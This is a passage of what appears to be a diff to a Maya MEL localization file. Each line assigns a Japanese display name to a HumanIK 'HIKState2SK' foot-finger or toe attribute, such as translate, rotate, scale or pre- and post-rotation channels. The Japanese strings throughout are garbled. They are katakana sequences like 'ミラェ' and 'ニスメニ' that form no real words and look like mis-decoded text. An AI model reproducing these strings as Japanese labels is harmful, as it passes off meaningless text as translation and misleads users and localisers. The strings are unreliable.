"LeftFootExtraFinger3ISy", "ラスナチヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3ISz", "ラスナチヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PreR", "ラスナチヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PreRx", "ラスナチヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PreRy", "ラスナチヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PreRz", "ラスナチヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PostR", "ラスナチヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PostRx", "ラスナチヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PostRy", "ラスナチヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PostRz", "ラスナチヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4T", "ラスナチヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Tx", "ラスナチヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Ty", "ラスナチヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Tz", "ラスナチヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4R", "ラスナチヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Rx", "ラスナチヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Ry", "ラスナチヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Rz", "ラスナチヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4S", "ラスナチヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Sx", "ラスナチヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Sy", "ラスナチヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Sz", "ラスナチヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PGX", "ラスナチヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", "ラスナチヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4SC", "ラスナチヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4IS", "ラスナチヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4ISx", "ラスナチヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4ISy", "ラスナチヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4ISz", "ラスナチヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PreR", "ラスナチヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PreRx", "ラスナチヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PreRy", "ラスナチヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PreRz", "ラスナチヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PostR", "ラスナチヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PostRx", "ラスナチヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PostRy", "ラスナチヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PostRz", "ラスナチヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1T", "モメスナエヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Tx", "モメスナエヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Ty", "モメスナエヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Tz", "モメスナエヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1R", "モメスナエヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Rx", "モメスナエヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Ry", "モメスナエヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Rz", "モメスナエヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1S", "モメスナエヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Sx", "モメスナエヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Sy", "モメスナエヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Sz", "モメスナエヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PGX", "モメスナエヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1ROrder", "モメスナエヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1SC", "モメスナエヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1IS", "モメスナエヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1ISx", "モメスナエヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1ISy", "モメスナエヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1ISz", "モメスナエヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PreR", "モメスナエヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PreRx", "モメスナエヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PreRy", "モメスナエヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PreRz", "モメスナエヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PostR", "モメスナエヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PostRx", "モメスナエヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PostRy", "モメスナエヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PostRz", "モメスナエヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2T", "モメスナエヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Tx", "モメスナエヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Ty", "モメスナエヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Tz", "モメスナエヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2R", "モメスナエヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Rx", "モメスナエヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Ry", "モメスナエヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Rz", "モメスナエヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2S", "モメスナエヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Sx", "モメスナエヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Sy", "モメスナエヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Sz", "モメスナエヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PGX", "モメスナエヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2ROrder", "モメスナエヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2SC", "モメスナエヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2IS", "モメスナエヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2ISx", "モメスナエヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2ISy", "モメスナエヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2ISz", "モメスナエヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PreR", "モメスナエヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PreRx", "モメスナエヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PreRy", "モメスナエヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PreRz", "モメスナエヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PostR", "モメスナエヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PostRx", "モメスナエヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PostRy", "モメスナエヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PostRz", "モメスナエヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3T", "モメスナエヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Tx", "モメスナエヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Ty", "モメスナエヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Tz", "モメスナエヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3R", "モメスナエヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Rx", "モメスナエヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Ry", "モメスナエヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Rz", "モメスナエヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3S", "モメスナエヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Sx", "モメスナエヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Sy", "モメスナエヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Sz", "モメスナエヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PGX", "モメスナエヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3ROrder", "モメスナエヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3SC", "モメスナエヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3IS", "モメスナエヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3ISx", "モメスナエヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3ISy", "モメスナエヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3ISz", "モメスナエヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PreR", "モメスナエヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PreRx", "モメスナエヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PreRy", "モメスナエヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PreRz", "モメスナエヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PostR", "モメスナエヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PostRx", "モメスナエヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PostRy", "モメスナエヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PostRz", "モメスナエヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4T", "モメスナエヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Tx", "モメスナエヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Ty", "モメスナエヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Tz", "モメスナエヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4R", "モメスナエヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Rx", "モメスナエヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Ry", "モメスナエヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Rz", "モメスナエヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4S", "モメスナエヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Sx", "モメスナエヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Sy", "モメスナエヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Sz", "モメスナエヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PGX", "モメスナエヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4ROrder", "モメスナエヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4SC", "モメスナエヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4IS", "モメスナエヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4ISx", "モメスナエヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4ISy", "モメスナエヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4ISz", "モメスナエヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PreR", "モメスナエヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PreRx", "モメスナエヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PreRy", "モメスナエヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PreRz", "モメスナエヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PostR", "モメスナエヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PostRx", "モメスナエヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PostRy", "モメスナエヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PostRz", "モメスナエヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1T", "モメスナカヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Tx", "モメスナカヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Ty", "モメスナカヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Tz", "モメスナカヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1R", "モメスナカヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Rx", "モメスナカヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Ry", "モメスナカヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Rz", "モメスナカヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1S", "モメスナカヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Sx", "モメスナカヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Sy", "モメスナカヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Sz", "モメスナカヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PGX", "モメスナカヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1ROrder", "モメスナカヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1SC", "モメスナカヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1IS", "モメスナカヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1ISx", "モメスナカヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1ISy", "モメスナカヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1ISz", "モメスナカヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PreR", "モメスナカヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PreRx", "モメスナカヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PreRy", "モメスナカヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PreRz", "モメスナカヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PostR", "モメスナカヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PostRx", "モメスナカヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PostRy", "モメスナカヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PostRz", "モメスナカヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2T", "モメスナカヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Tx", "モメスナカヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Ty", "モメスナカヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Tz", "モメスナカヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2R", "モメスナカヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Rx", "モメスナカヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Ry", "モメスナカヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Rz", "モメスナカヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2S", "モメスナカヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Sx", "モメスナカヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Sy", "モメスナカヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Sz", "モメスナカヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PGX", "モメスナカヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2ROrder", "モメスナカヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2SC", "モメスナカヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2IS", "モメスナカヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2ISx", "モメスナカヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2ISy", "モメスナカヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2ISz", "モメスナカヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PreR", "モメスナカヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PreRx", "モメスナカヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PreRy", "モメスナカヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PreRz", "モメスナカヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PostR", "モメスナカヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PostRx", "モメスナカヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PostRy", "モメスナカヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PostRz", "モメスナカヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3T", "モメスナカヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Tx", "モメスナカヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Ty", "モメスナカヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Tz", "モメスナカヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3R", "モメスナカヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Rx", "モメスナカヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Ry", "モメスナカヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Rz", "モメスナカヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3S", "モメスナカヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Sx", "モメスナカヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Sy", "モメスナカヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Sz", "モメスナカヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PGX", "モメスナカヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3ROrder", "モメスナカヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3SC", "モメスナカヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3IS", "モメスナカヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3ISx", "モメスナカヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3ISy", "モメスナカヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3ISz", "モメスナカヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PreR", "モメスナカヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PreRx", "モメスナカヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PreRy", "モメスナカヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PreRz", "モメスナカヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PostR", "モメスナカヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PostRx", "モメスナカヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PostRy", "モメスナカヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PostRz", "モメスナカヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4T", "モメスナカヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Tx", "モメスナカヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Ty", "モメスナカヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Tz", "モメスナカヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4R", "モメスナカヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Rx", "モメスナカヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Ry", "モメスナカヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Rz", "モメスナカヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4S", "モメスナカヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Sx", "モメスナカヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Sy", "モメスナカヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Sz", "モメスナカヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PGX", "モメスナカヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4ROrder", "モメスナカヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4SC", "モメスナカヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4IS", "モメスナカヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4ISx", "モメスナカヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4ISy", "モメスナカヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4ISz", "モメスナカヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PreR", "モメスナカヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PreRx", "モメスナカヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PreRy", "モメスナカヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PreRz", "モメスナカヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PostR", "モメスナカヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PostRx", "モメスナカヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PostRy", "モメスナカヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PostRz", "モメスナカヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1T", "モメスナヨミヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Tx", "モメスナヨミヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Ty", "モメスナヨミヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Tz", "モメスナヨミヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1R", "モメスナヨミヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Rx", "モメスナヨミヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Ry", "モメスナヨミヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Rz", "モメスナヨミヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1S", "モメスナヨミヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Sx", "モメスナヨミヨコ 1 